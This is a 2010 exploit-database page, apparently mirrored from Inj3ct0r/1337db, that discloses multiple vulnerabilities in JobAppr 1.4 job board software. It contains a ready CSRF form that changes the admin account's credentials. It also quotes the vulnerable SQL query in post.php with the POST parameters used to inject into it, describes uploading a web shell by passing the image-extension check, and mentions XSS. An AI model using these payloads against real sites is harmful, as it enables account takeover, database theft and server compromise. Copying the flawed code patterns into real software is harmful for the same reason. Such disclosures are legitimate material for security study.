Home / os / win7

[webapps / 0day] - JobAppr <= 1.4 Multiple Vulnerabilitie

Posted on 21 December 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>JobAppr &lt;= 1.4 Multiple Vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='JobAppr &lt;= 1.4 Multiple Vulnerabilities by giudinvx in webapps / 0day | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>======================================= JobAppr &lt;= 1.4 Multiple Vulnerabilities ======================================= Author___: giudinvx Email____: &lt;giudinvx[at]gmail[dot]com&gt; Date_____: 21/12/2010 Site_____: http://www.giudinvx.altervista.org/ -------------------------------------------------------- Application Info: JobAppr is a simple job board software for every category Version 1.4http://www.jobappr.com/ -------------------------------------------------------- [+] CSRF &lt;form action=&quot;[jobappr_path]/admin/profile.php&quot; method=&quot;post&quot; id=&quot;account&quot;&gt; &lt;input type=&quot;hidden&quot; value=&quot;1&quot; name=&quot;role_id&quot;&gt; &lt;input type=&quot;text&quot; value=&quot;&quot; name=&quot;first_name&quot;&gt;&lt;em&gt;First&lt;/em&gt;&lt;br/&gt; &lt;input type=&quot;text&quot; value=&quot;&quot; name=&quot;last_name&quot;&gt;&lt;em&gt;Last&lt;/em&gt;&lt;br/&gt; &lt;input type=&quot;text&quot; value=&quot;&quot; name=&quot;email&quot;&gt;&lt;em&gt;email&lt;/em&gt;&lt;br/&gt; &lt;input type=&quot;text&quot; value=&quot;&quot; name=&quot;username&quot;&gt;&lt;em&gt;username&lt;/em&gt;&lt;br/&gt; &lt;input type=&quot;password&quot; value=&quot;&quot; name=&quot;password&quot;&gt;&lt;em&gt;Password&lt;/em&gt;&lt;br/&gt; &lt;input type=&quot;password&quot; value=&quot;&quot; name=&quot;password_confirm&quot;&gt;&lt;em&gt;Confirm password&lt;/em&gt;&lt;br/&gt; &lt;input type=&quot;submit&quot; value=&quot;Update Your Profile&quot; name=&quot;submit&quot; class=&quot;submit&quot;&gt;&lt;/td&gt; &lt;/form&gt; [+] Sql Injection Vulnerable code: post.php 91: mysql_query(&quot;UPDATE &quot;. TB_JOBS .&quot; SET logo=&#039;&quot;.clean($logo_url).&quot;&#039; WHERE form_id=&#039;&quot;.$_POST[&#039;form_id&#039;].&quot;&#039;&quot;); For exploit this vulnerability you have need to set up some POST variables. title=1&amp;categor=1&amp;location=1&amp;description=1&amp;apply=1&amp;company=1&amp;website=www.localhost.com&amp;email=localhost@www.com&amp;highlight=1&amp;form_id=[Sql_Injection_here] [+] Arbitrary File Upload Vulnerable code: post.php 48: $ext = strtolower(substr($_FILES[&quot;logo&quot;][&quot;name&quot;], strrpos($_FILES[&quot;logo&quot;][&quot;name&quot;], &#039;.&#039;) + 1)); 50: # check to see if it&#039;s an image file based on it&#039;s extention 51: if ($ext != &#039;jpg&#039; &amp;&amp; $ext != &#039;jpeg&#039; &amp;&amp; $ext != &#039;gif&#039; &amp;&amp; $ext != &#039;png&#039; ) { 52: $errors = true; $err_logo = &#039;Invalid logo file type (jpg, gif, png accepted)&lt;br /&gt;&#039;; You can upload a shell with an extension jpg,jpeg,gif or png, and after find them in /logos path. Also for this exploit this vulnerability have need to set up POST vars above. [+] XSS post.php page have also this vulnerability, you can exploit this with above post vars. # <a href='http://1337db.com/'>1337db.com</a> [2010-12-21]</pre></body></html>

 

TOP